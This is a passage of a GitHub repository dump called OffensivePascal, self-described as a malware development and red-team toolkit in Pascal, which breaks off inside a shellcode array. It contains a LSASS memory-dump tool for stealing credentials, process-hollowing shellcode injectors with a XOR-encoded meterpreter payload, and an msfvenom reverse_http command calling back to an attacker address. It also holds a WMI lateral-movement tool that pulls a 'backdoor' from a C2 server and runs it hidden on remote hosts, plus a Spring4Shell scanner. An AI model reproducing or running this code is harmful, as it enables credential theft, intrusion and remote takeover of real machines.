Begin\n \tResult := 0;\n \tappName := UpperCase( appname );\n \tsnapshot := CreateToolhelp32Snapshot(\n \t\t\t\t  TH32CS_SNAPPROCESS,\n \t\t\t\t  0 );\n \tIf snapshot <> 0 Then\n \ttry\n \t  processEntry.dwSize := Sizeof( processEntry );\n \t  If Process32First( snapshot, processEntry ) Then\n \t  Repeat\n \t\tIf Pos(appname,\n \t\t\t   UpperCase(ExtractFilename(\n \t\t\t\t\t\t\t StrPas(processEntry.szExeFile)))) > 0\n \t\tThen Begin\n \t\t  Result:= processEntry.th32ProcessID;\n \t\t  Break;\n \t\tEnd; { If }\n \t  Until not Process32Next( snapshot, processEntry );\n \tfinally\n \t  CloseHandle(snapshot);\n \tEnd; { try }\n   End;\n\nprocedure TMiniDump.dump;\nvar\n dwpid : Dword;\n  begin\n dwPid := ProcessIDFromAppname32('lsass.exe');\n try\n   mini_dump_un.MakeMinidump(dwPid, 'mini.dmp');\n   writeln('[+] lsass dump created successfully');\n   finally\n    Terminate;\n   end;\n  end;\n\n\nprocedure TMiniDump.DoRun;\nvar\n  ErrorMsg: String;\nbegin\n\n  { add your program here }\n    dump;\n  // stop program loop\n  Terminate;\nend;\n\nvar\n  Application: TMiniDump;\nbegin\n  Application:=TMiniDump.Create(nil);\n  Application.Title:='MiniDump';\n  Application.Run;\n  Application.Free;\nend.\n\n"
  },
  {
    "path": "README.md",
    "content": "\n![image](https://raw.githubusercontent.com/0xsp-SRD/0xsp.com/main/images/lazarus-icon-250x250.webp)\n\n\n# OffensivePascal\nPascal Offsec repo for malware dev and red teaming 🚩\n# Pending \n\n- AMSI / ETW Bypass \n\n\n**make sure to keep watching this repo for changes**\n\n# Why I Like Pascal \nPascal is fast and verbose,and has full support for OOP, day by day it makes coding much easier for me. \ni would suggest you to read this article to know more about Pascal\nhttps://dubst3pp4.github.io/post/2017-10-03-why-i-use-object-pascal/\n\n# How To Compile \n- if you interested in cross-compiling, yes that's possible you can do that easily using the following automated tool (https://github.com/LongDirtyAnimAlf/fpcupdeluxe) \n- you can install Lazarus IDE directly (https://www.lazarus-ide.org/index.php?page=downloads).\n- dealing with Pascal is easy, all you have to do is import a project and build. \n- for complicated projects which needs some third-party modules/packages, i will add detailed instructions for installing and compiling. \n\n\n"
  },
  {
    "path": "Simple Shellcode injection/info.md",
    "content": "to generate formatted pascal shellcode using Msfvenom you can achieve that by the exeucting the following command for an example \n\n```\nmsfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.0.107 LPORT=443 -f c | sed -r 's/[\\x]+/$/g' | sed -r 's/[\\]+/,/g' | sed -r 's/[\"]+//g' | sed -e 's/$/\\,/' | cut -c 2-\n```\n\nif you could face error while compiling the shellcode you can just `$00` at end of generated shellcode, sometime you need `$00,$00`\n\n\n\n"
  },
  {
    "path": "Simple Shellcode injection/injector.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasTitleStatement Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <Title Value=\"injector\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <BuildModes>\n      <Item Name=\"Default\" Default=\"True\"/>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n    </RunParams>\n    <Units>\n      <Unit>\n        <Filename Value=\"injector.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <PathDelim Value=\"\\\"/>\n    <Target>\n      <Filename Value=\"injector\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions>\n      <Item>\n        <Name Value=\"EAbort\"/>\n      </Item>\n      <Item>\n        <Name Value=\"ECodetoolError\"/>\n      </Item>\n      <Item>\n        <Name Value=\"EFOpenError\"/>\n      </Item>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "Simple Shellcode injection/injector.lpr",
    "content": "{\n  this one is part of repo published on github under the name of Offensive Pascal\n  Pascal is a great and still up to date :)\n  these projects can be compilied using FreePascal (FPC)\n  or Delphi\n\n  author : @zux0x3a\n  site :   0xsp.com / ired.dev\n\n  https://github.com/0xsp-SRD/OffensivePascal\n\n }\n\n\nprogram injector;\n\n{$mode delphi}\n\nuses\n\n  Classes,windows;\n\n\n\nprocedure inject_shell;\nconst\n  //Windows x64 MessageBox Shellcode (434 bytes)\n  shellcode:array[0..434] of BYTE = (\n  $48,$83,$EC,$28,$48,$83,$E4,$F0,$48,$8D,$15,$66,$00,$00,$00,$48,$8D,$0D,$52,$00,$00,$00,$E8,$9E,$00,$00,$00,$4C,$8B,$F8,$48,$8D,$0D,$5D,$00,$00,$00,$FF,$D0,$48,$8D,$15,$5F,$00,$00,$00,$48,$8D,$0D,$4D,$00,$00,$00,$E8,$7F,$00,$00,$00,$4D,$33,$C9,$4C,$8D,$05,$61,$00,$00,$00,$48,$8D,$15,$4E,$00,$00,$00,$48,$33,$C9,$FF,$D0,$48,$8D,$15,$56,$00,$00,$00,$48,$8D,$0D,$0A,$00,$00,$00,$E8,$56,$00,$00,$00,$48,$33,$C9,$FF,$D0,$4B,$45,$52,$4E,$45,$4C,$33,$32,$2E,$44,$4C,$4C,$00,$4C,$6F,$61,$64,$4C,$69,$62,$72,$61,$72,$79,$41,$00,$55,$53,$45,$52,$33,$32,$2E,$44,$4C,$4C,$00,$4D,$65,$73,$73,$61,$67,$65,$42,$6F,$78,$41,$00,$48,$65,$6C,$6C,$6F,$20,$77,$6F,$72,$6C,$64,$00,$4D,$65,$73,$73,$61,$67,$65,$00,$45,$78,$69,$74,$50,$72,$6F,$63,$65,$73,$73,$00,$48,$83,$EC,$28,$65,$4C,$8B,$04,$25,$60,$00,$00,$00,$4D,$8B,$40,$18,$4D,$8D,$60,$10,$4D,$8B,$04,$24,$FC,$49,$8B,$78,$60,$48,$8B,$F1,$AC,$84,$C0,$74,$26,$8A,$27,$80,$FC,$61,$7C,$03,$80,$EC,$20,$3A,$E0,$75,$08,$48,$FF,$C7,$48,$FF,$C7,$EB,$E5,$4D,$8B,$00,$4D,$3B,$C4,$75,$D6,$48,$33,$C0,$E9,$A7,$00,$00,$00,$49,$8B,$58,$30,$44,$8B,$4B,$3C,$4C,$03,$CB,$49,$81,$C1,$88,$00,$00,$00,$45,$8B,$29,$4D,$85,$ED,$75,$08,$48,$33,$C0,$E9,$85,$00,$00,$00,$4E,$8D,$04,$2B,$45,$8B,$71,$04,$4D,$03,$F5,$41,$8B,$48,$18,$45,$8B,$50,$20,$4C,$03,$D3,$FF,$C9,$4D,$8D,$0C,$8A,$41,$8B,$39,$48,$03,$FB,$48,$8B,$F2,$A6,$75,$08,$8A,$06,$84,$C0,$74,$09,$EB,$F5,$E2,$E6,$48,$33,$C0,$EB,$4E,$45,$8B,$48,$24,$4C,$03,$CB,$66,$41,$8B,$0C,$49,$45,$8B,$48,$1C,$4C,$03,$CB,$41,$8B,$04,$89,$49,$3B,$C5,$7C,$2F,$49,$3B,$C6,$73,$2A,$48,$8D,$34,$18,$48,$8D,$7C,$24,$30,$4C,$8B,$E7,$A4,$80,$3E,$2E,$75,$FA,$A4,$C7,$07,$44,$4C,$4C,$00,$49,$8B,$CC,$41,$FF,$D7,$49,$8B,$CC,$48,$8B,$D6,$E9,$14,$FF,$FF,$FF,$48,$03,$C3,$48,$83,$C4,$28,$C3,$00,$00);\n\n\n\nvar\n  pi: TProcessInformation;\n  si: TStartupInfo;\n  {$ifdef win32}\n  ctx: Context;\n  {$endif}\n\n  {$ifdef win64}\n  ctx : Pcontext;\n  {$endif}\n  remote_shellcodePtr: Pointer;\n  {$ifdef win64}\n  Written:dword64;\n  {$endif}\n   {$ifdef win32}\n  Written:dword;\n  {$endif}\n  AppToLaunch: string;\n  i ,s_size: Cardinal;\n  shell_prt : string ;\n shell_code :  array of byte;\n\nbegin\n\n\nAppToLaunch := 'notepad.exe';\nUniqueString(AppToLaunch);\n\nFillMemory( @si, sizeof( si ), 0 );\nFillMemory( @pi, sizeof( pi ), 0 );\n\nwriteln('[+] Creating Process in Suspended Mode');\n\nCreateProcess('c:\\windows\\system32\\cmd.exe', PChar(AppToLaunch), nil, nil, False,\n              CREATE_SUSPENDED,\n              nil, nil,  si, pi );\n\n\n\n {$ifdef win32}\n ctx.ContextFlags := CONTEXT_CONTROL;\n GetThreadContext(pi.hThread,ctx);\n {$endif}\n\n {$ifdef win64}\n  ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));\n  ctx.ContextFlags := CONTEXT_ALL;\n  GetThreadContext(pi.hThread,ctx^);\n {$endif}\n\n\n //allocate the memory size\n remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,\n   PAGE_EXECUTE_READWRITE);\n\n // write array of bytes into process memory\n WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);\n\n\n{$ifdef win64}\n ctx.rip:=dword64(remote_shellcodePtr);\n //ctx.ContextFlags := CONTEXT_CONTROL;\n SetThreadContext(pi.hThread,ctx^);\n ResumeThread(pi.hThread);\n{$ENDIF}\n\n{$ifdef win32}\n ctx.Eip:=integer(remote_shellcodePtr);\n ctx.ContextFlags := CONTEXT_CONTROL;\n SetThreadContext(pi.hThread,ctx);\n\n ResumeThread(pi.hThread);\n{$endif}\n\n\n end;\n\nbegin\n  inject_shell;\nend.\n\n"
  },
  {
    "path": "SpringCore-Scanner/compiled/Linux/readme.md",
    "content": "compiled for debian and ubuntu\n\n```\nSingle scan: /home/kali/springcore scanner/springcore_sanner -s -u http://host -p 8080 -a /\nMulti scan : /home/kali/springcore scanner/springcore_sanner -m -u target -p 8080 -a /application/index \n--------------------------\n-s-- single scan mode\n-m-- multi scan mode\n-u-- supply single HTTP/HTTPS or load a list from file\n-p-- specify a port \n-a-- supply the path of application default e.g / \n```\n"
  },
  {
    "path": "SpringCore-Scanner/readme.md",
    "content": "for compiling you need Lazarus IDE\n\n- open project file \n- build the project \n\n### usage \n\n```\nSingle scan: /home/kali/springcore scanner/springcore_sanner -s -u http://host -p 8080 -a /\nMulti scan : /home/kali/springcore scanner/springcore_sanner -m -u target -p 8080 -a /application/index \n--------------------------\n-s -- single scan mode\n-m -- multi scan mode\n-u -- supply single HTTP/HTTPS or load a list from file\n-p -- specify a port \n-a -- supply the path of application default e.g / \n```\n"
  },
  {
    "path": "SpringCore-Scanner/springcore_sanner.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"11\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <MainUnit Value=\"0\"/>\n      <Title Value=\"scanner\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <BuildModes Count=\"1\">\n      <Item1 Name=\"Default\" Default=\"True\"/>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n      <Modes Count=\"0\"/>\n    </RunParams>\n    <Units Count=\"1\">\n      <Unit0>\n        <Filename Value=\"springcore_sanner.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit0>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <Target>\n      <Filename Value=\"springcore_sanner\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib/$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions Count=\"3\">\n      <Item1>\n        <Name Value=\"EAbort\"/>\n      </Item1>\n      <Item2>\n        <Name Value=\"ECodetoolError\"/>\n      </Item2>\n      <Item3>\n        <Name Value=\"EFOpenError\"/>\n      </Item3>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "SpringCore-Scanner/springcore_sanner.lpr",
    "content": "program springcore_sanner;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}{$IFDEF UseCThreads}\n  cthreads,\n  {$ENDIF}{$ENDIF}\n  Classes, SysUtils,FPHTTPClient, openssl,\n  opensslsockets, CustApp\n  { you can add units after this };\n\ntype\n\n  { Tspringscanner }\n\n  Tspringscanner = class(TCustomApplication)\n  protected\n    procedure DoRun; override;\n  public\n    constructor Create(TheOwner: TComponent); override;\n    destructor Destroy; override;\n    procedure WriteHelp; virtual;\n    procedure scan; virtual;\n    procedure multi_scan; virtual;\n  end;\n\n{ Tspringscanner }\n\n\n\nfunction scan_vuln(url:string;app:string):string;\nvar\n  FPHTTPClient: TFPHTTPClient;\n  Resultget,magic_code,res: string;\n  ok : integer;\nbegin\n\nmagic_code := '/?class.module.classLoader.URLs%5B0%5D=0';\nFPHTTPClient := TFPHTTPClient.Create(nil);\nFPHTTPClient.AllowRedirect := True;\n\n  try\n   FPHTTPClient.Get(url+magic_code); // test URL, real one is HTTPS\n\n  except\n      on E: exception do\n\n      res := (E.Message)\n\n   end;\n\n       ok := pos('400',res);\n\n       if ok > 0 then\n        result := 'vulnerable'\n        else\n       result := 'not vulnerable';\n\n\n\nFPHTTPClient.Free;\n\nend;\n\nprocedure Tspringscanner.DoRun;\nvar\n  ErrorMsg: String;\n  msg : string;\nbegin\n  // quick check parameters\n  ErrorMsg:=CheckOptions('h u p s m a', 'help');\n  if ErrorMsg<>'' then begin\n    ShowException(Exception.Create(ErrorMsg));\n    Terminate;\n    Exit;\n  end;\n\n  // parse parameters\n  if HasOption('h', 'help') then begin\n    WriteHelp;\n    Terminate;\n    Exit;\n  end;\n  if hasoption('s') then   begin\n   scan;\n  end;\n   if hasoption('m') then   begin\n   multi_scan;\n   end;\n\n  { add your program here }\n\n\n\n  // stop program loop\n  Terminate;\nend;\n\nconstructor Tspringscanner.Create(TheOwner: TComponent);\nbegin\n  inherited Create(TheOwner);\n  StopOnException:=True;\nend;\n\ndestructor Tspringscanner.Destroy;\nbegin\n  inherited Destroy;\nend;\n\n\nprocedure banner;\n var\n   s : string;\nbegin\n   s:= '[!] coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] thanks to : RandoriAttack'+#10;\n\n   writeln(s);\nend;\n\nprocedure Tspringscanner.multi_scan;\nvar\nmsg,url,port,app:string;\nlist: Tstringlist;\ni: integer;\nbegin\n  banner;\n url := getoptionvalue('u');\n port := getoptionvalue('p');\n app := getoptionvalue('a');\n\n try\n list := Tstringlist.Create;\n list.LoadFromFile(url);\n   for i := 0 to list.Count -1 do begin ;\n  if length(port) > 0 then begin\n\n  msg := scan_vuln(list.Strings[i]+':'+port,app)\n\n   end else\n\n   msg := scan_vuln(list.Strings[i],app);\n\n   writeln('[!] the following URL '+list.Strings[i] + ' is ' + msg);\n\n   end;\n\n   finally\n     list.free;\n   end;\n\n\nend;\n\nprocedure Tspringscanner.scan;\nvar\n  msg,url,port,app:string;\n\nbegin\n\n banner;\n  url := getoptionvalue('u');\n  port := getoptionvalue('p');\n  app := getoptionvalue('a');\n\n   if length(port) > 0 then begin\n  msg := scan_vuln(url+':'+port,app)\n\n   end else\n\n   msg := scan_vuln(url,app);\n\n  writeln('[+] the following URL '+url+' is '+msg);\n end;\nprocedure Tspringscanner.WriteHelp;\nbegin\n  { add your help code here }\n  writeln('Single scan: ', ExeName, ' -s -u http://host -p 8080 -a /');\n  writeln('Multi scan : ', ExeName, ' -m -u target -p 8080 -a /application/index ');\n  writeln('--------------------------');\n  writeln('-s','-- single scan mode');\n  writeln('-m','-- multi scan mode');\n  writeln('-u','-- supply single HTTP/HTTPS or load a list from file');\n  writeln('-p','-- specify a port ');\n  writeln('-a','-- supply the path of application default e.g / ');\n\n\nend;\n\nvar\n  Application: Tspringscanner;\nbegin\n  Application:=Tspringscanner.Create(nil);\n  Application.Title:='scanner';\n  Application.Run;\n  Application.Free;\nend.\n\n"
  },
  {
    "path": "WMI Lateral movement/lat.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <Title Value=\"WmiLateral\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <BuildModes>\n      <Item Name=\"Default\" Default=\"True\"/>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n    </RunParams>\n    <Units>\n      <Unit>\n        <Filename Value=\"lat.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <PathDelim Value=\"\\\"/>\n    <Target>\n      <Filename Value=\"lat\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions>\n      <Item>\n        <Name Value=\"EAbort\"/>\n      </Item>\n      <Item>\n        <Name Value=\"ECodetoolError\"/>\n      </Item>\n      <Item>\n        <Name Value=\"EFOpenError\"/>\n      </Item>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "WMI Lateral movement/lat.lpr",
    "content": "program lat;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}\n  cthreads,\n  {$ENDIF}\n  Classes,windows, SysUtils,FPHTTPClient,comobj,activex,variants, openssl,\n  opensslsockets,CustApp;\n\nconst\nHIDDEN_WINDOW       = 0;\n\ntype\n\n  { TLaterl }\n\n  TLaterl = class(TCustomApplication)\n  protected\n    procedure DoRun; override;\n  public\n    procedure WriteHelp; virtual;\n    procedure WMI; virtual;\n  end;\n\n{ TLaterl }\n\nprocedure TLaterl.DoRun;\nvar\n  ErrorMsg: String;\nbegin\n  // quick check parameters\n  ErrorMsg:=CheckOptions('h username password host srvhost', 'help');\n  if ErrorMsg<>'' then begin\n    ShowException(Exception.Create(ErrorMsg));\n    Terminate;\n    Exit;\n  end;\n\n  // parse parameters\n  if HasOption('h', 'help') then begin\n    WriteHelp;\n    Terminate;\n    Exit;\n  end;\n\n  { add your program here }\n    WMI;\n  // stop program loop\n  Terminate;\nend;\n\n\nprocedure banner;\n var\n   s : string;\nbegin\n   s:= '[!] coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] https://0xsp.com & https://ired.dev'+#10;\n   writeln(s);\nend;\n\nfunction getscript(url:string):string;    // get your script from remote web interface\nvar\n  FPHTTPClient: TFPHTTPClient;\n  Resultget : string;\nbegin\nFPHTTPClient := TFPHTTPClient.Create(nil);\nFPHTTPClient.AllowRedirect := True;\n   try\n   Resultget := FPHTTPClient.Get(url); // example https://pastebin.com/raw/wtf50XsX\n   getscript := Resultget;\n   Writeln('[+] Getting Shell....');\n   except\n      on E: exception do\n         writeln(E.Message);\n   end;\nFPHTTPClient.Free;\n\nend;\n\nprocedure TLaterl.WMI;\nvar\n  FSWbemLocator : OLEVariant;\n  FWMIService   : OLEVariant;\n  FWbemObject   : OLEVariant;\n  objProcess    : OLEVariant;\n  objConfig     : OLEVariant;\n  ProcessID     : Integer;\n  backdoor : OLEVariant;\n  username,password,host: OLEVariant;\n  srvhost :string;\n  i:integer;\n\nbegin;\n  banner;\n  for i := 1 to paramcount do begin\n\n        if(paramstr(i)='-username') then begin\n         username := paramstr(i+1);\n         writeln('[+] using username : '+'['+username+']'+' to authenticate');\n        end;\n        if(paramstr(i)='-password') then begin\n         password := paramstr(i+1);\n\n        end;\n         if(paramstr(i)='-host') then begin\n         host := paramstr(i+1);\n         writeln('[!] trying to connect to '+host);\n        end;\n         if (paramstr(i)='-srvhost') then begin\n          srvhost := paramstr(i+1);\n         end;\n\n         end;\n\n\n\n\n  backdoor := trim(GetScript(srvhost));\n\n  FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator');\n  FWMIService   := FSWbemLocator.ConnectServer(host, 'root\\CIMV2', username, password);\n  FWbemObject   := FWMIService.Get('Win32_ProcessStartup');\n  objConfig     := FWbemObject.SpawnInstance_;\n\n  objConfig.ShowWindow := HIDDEN_WINDOW;\n  objProcess    := FWMIService.Get('Win32_Process');\n  objProcess.Create(backdoor, null, objConfig, ProcessID);\n  Writeln(Format('Pid %d',[ProcessID]));\n  writeln('[+] task has been created successfully  ..!');\n\n  end;\n\nprocedure TLaterl.WriteHelp;\nbegin\n  { add your help code here }\n  writeln('Usage: ', ExeName, ' -host windows10/7/server -srvhost C2C address -username Administrator -password P@ssw0rd ');\nend;\n\nvar\n  Application: TLaterl;\nbegin\n  Application:=TLaterl.Create(nil);\n  Application.Title:='WmiLateral';\n  Application.Run;\n  Application.Free;\nend.\n\n"
  },
  {
    "path": "WMI Lateral movement/readme.md",
    "content": "#### Usage \nlat.exe \n* -host { host would like to lateral move to } \n* -srvhost {remote C2 server holding backdoor such as powershell.exe cradles or any command wanna to pass } \n* -username { required for authentication} e.g domain\\user or localaccounts \n* -password { required for authentications } \n\n\n#### Compiling \n\n* Download Lazarus IDE \n* open Project LPI or LPR \n* build \n\n"
  },
  {
    "path": "XOR Shellcode injection/injector.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasTitleStatement Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <Title Value=\"injector\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <BuildModes>\n      <Item Name=\"Default\" Default=\"True\"/>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n    </RunParams>\n    <Units>\n      <Unit>\n        <Filename Value=\"injector.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <PathDelim Value=\"\\\"/>\n    <Target>\n      <Filename Value=\"injector\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions>\n      <Item>\n        <Name Value=\"EAbort\"/>\n      </Item>\n      <Item>\n        <Name Value=\"ECodetoolError\"/>\n      </Item>\n      <Item>\n        <Name Value=\"EFOpenError\"/>\n      </Item>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "XOR Shellcode injection/injector.lpr",
    "content": "{\n  this one is part of repo published on github under the name of Offensive Pascal\n  Pascal is a great and still up to date :)\n  these projects can be compilied using FreePascal (FPC)\n  or Delphi\n  author : @zux0x3a\n  site :   0xsp.com / ired.dev\n  https://github.com/0xsp-SRD/OffensivePascal\n\n }\n\n\nprogram injector;\n\n{$mode delphi}\n\n\nuses\n\n  windows,Classes,strutils,sysutils;\n\n type\n  TByteArray = array of byte;\n\n\n\nfunction Crypt(const aText: byte): tbyte;\nconst\n  PWD = 'a';   // key used for XOR\n\nbegin\n    result := byte(Ord(aText) xor  Ord(PWD));\nend;\n\n\n\n\nprocedure inject_shell;\nconst\n //   msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.0.108 LPORT=443 --encrypt xor --encrypt-key \"a\" -f c | sed -r 's/[\\x]+/$/g' | sed -r 's/[\\]+/,/g' | sed -r 's/[\"]+//g' | sed -e 's/$/\\,/' | cut -c 2-\n\n  shellcode:array[0..653] of BYTE = (\n$9d,$29,$e2,$85,$91,$89,$ad,$61,$61,$61,$20,$30,$20,$31,$33,\n$29,$50,$b3,$30,$37,$04,$29,$ea,$33,$01,$29,$ea,$33,$79,$29,\n$ea,$33,$41,$2c,$50,$a8,$29,$ea,$13,$31,$29,$6e,$d6,$2b,$2b,\n$29,$50,$a1,$cd,$5d,$00,$1d,$63,$4d,$41,$20,$a0,$a8,$6c,$20,\n$60,$a0,$83,$8c,$33,$29,$ea,$33,$41,$ea,$23,$5d,$20,$30,$29,\n$60,$b1,$07,$e0,$19,$79,$6a,$63,$6e,$e4,$13,$61,$61,$61,$ea,\n$e1,$e9,$61,$61,$61,$29,$e4,$a1,$15,$06,$29,$60,$b1,$ea,$29,\n$79,$31,$25,$ea,$21,$41,$28,$60,$b1,$82,$37,$2c,$50,$a8,$29,\n$9e,$a8,$20,$ea,$55,$e9,$29,$60,$b7,$29,$50,$a1,$20,$a0,$a8,\n$6c,$cd,$20,$60,$a0,$59,$81,$14,$90,$2d,$62,$2d,$45,$69,$24,\n$58,$b0,$14,$b9,$39,$25,$ea,$21,$45,$28,$60,$b1,$07,$20,$ea,\n$6d,$29,$25,$ea,$21,$7d,$28,$60,$b1,$20,$ea,$65,$e9,$29,$60,\n$b1,$20,$39,$20,$39,$3f,$38,$3b,$20,$39,$20,$38,$20,$3b,$29,\n$e2,$8d,$41,$20,$33,$9e,$81,$39,$20,$38,$3b,$29,$ea,$73,$88,\n$2a,$9e,$9e,$9e,$3c,$29,$50,$ba,$32,$28,$df,$16,$08,$0f,$08,\n$0f,$04,$15,$61,$20,$37,$29,$e8,$80,$28,$a6,$a3,$2d,$16,$47,\n$66,$9e,$b4,$32,$32,$29,$e8,$80,$32,$3b,$2c,$50,$a1,$2c,$50,\n$a8,$32,$32,$28,$db,$5b,$37,$18,$c6,$61,$61,$61,$61,$9e,$b4,\n$89,$6f,$61,$61,$61,$50,$58,$53,$4f,$50,$57,$59,$4f,$51,$4f,\n$50,$51,$59,$61,$3b,$29,$e8,$a0,$28,$a6,$a1,$da,$60,$61,$61,\n$2c,$50,$a8,$32,$32,$0b,$62,$32,$28,$db,$36,$e8,$fe,$a7,$61,\n$61,$61,$61,$9e,$b4,$89,$e7,$61,$61,$61,$4e,$38,$29,$2e,$58,\n$31,$0e,$4c,$4c,$26,$14,$18,$03,$31,$11,$0e,$59,$4c,$39,$56,\n$05,$25,$30,$50,$08,$13,$37,$56,$0a,$03,$15,$3e,$0e,$58,$0c,\n$20,$33,$37,$2a,$2b,$00,$26,$3b,$28,$0a,$29,$0a,$06,$2c,$13,\n$29,$24,$37,$16,$1b,$2b,$4c,$05,$26,$30,$02,$22,$20,$54,$2f,\n$0b,$16,$59,$33,$29,$50,$31,$02,$0a,$0f,$0e,$30,$2c,$2d,$08,\n$14,$2e,$20,$57,$07,$07,$03,$0a,$23,$0a,$10,$35,$2e,$55,$05,\n$0c,$26,$00,$35,$2b,$2a,$59,$2a,$3e,$28,$18,$04,$2a,$09,$52,\n$0b,$27,$0b,$38,$57,$39,$2e,$1b,$52,$34,$07,$17,$0c,$55,$3e,\n$2e,$13,$2c,$0d,$3b,$35,$39,$00,$61,$29,$e8,$a0,$32,$3b,$20,\n$39,$2c,$50,$a8,$32,$29,$d9,$61,$63,$49,$e5,$61,$61,$61,$61,\n$31,$32,$32,$28,$a6,$a3,$8a,$34,$4f,$5a,$9e,$b4,$29,$e8,$a7,\n$0b,$6b,$3e,$32,$3b,$29,$e8,$90,$2c,$50,$a8,$2c,$50,$a8,$32,\n$32,$28,$a6,$a3,$4c,$67,$79,$1a,$9e,$b4,$e4,$a1,$14,$7e,$29,\n$a6,$a0,$e9,$72,$61,$61,$28,$db,$25,$91,$54,$81,$61,$61,$61,\n$61,$9e,$b4,$29,$9e,$ae,$15,$63,$8a,$ad,$89,$34,$61,$61,$61,\n$32,$38,$0b,$21,$3b,$28,$e8,$b0,$a0,$83,$71,$28,$a6,$a1,$61,\n$71,$61,$61,$28,$db,$39,$c5,$32,$84,$61,$61,$61,$61,$9e,$b4,\n$29,$f2,$32,$32,$29,$e8,$86,$29,$e8,$90,$29,$e8,$bb,$28,$a6,\n$a1,$61,$41,$61,$61,$28,$e8,$98,$28,$db,$73,$f7,$e8,$83,$61,\n$61,$61,$61,$9e,$b4,$29,$e2,$a5,$41,$e4,$a1,$15,$d3,$07,$ea,\n$66,$29,$60,$a2,$e4,$a1,$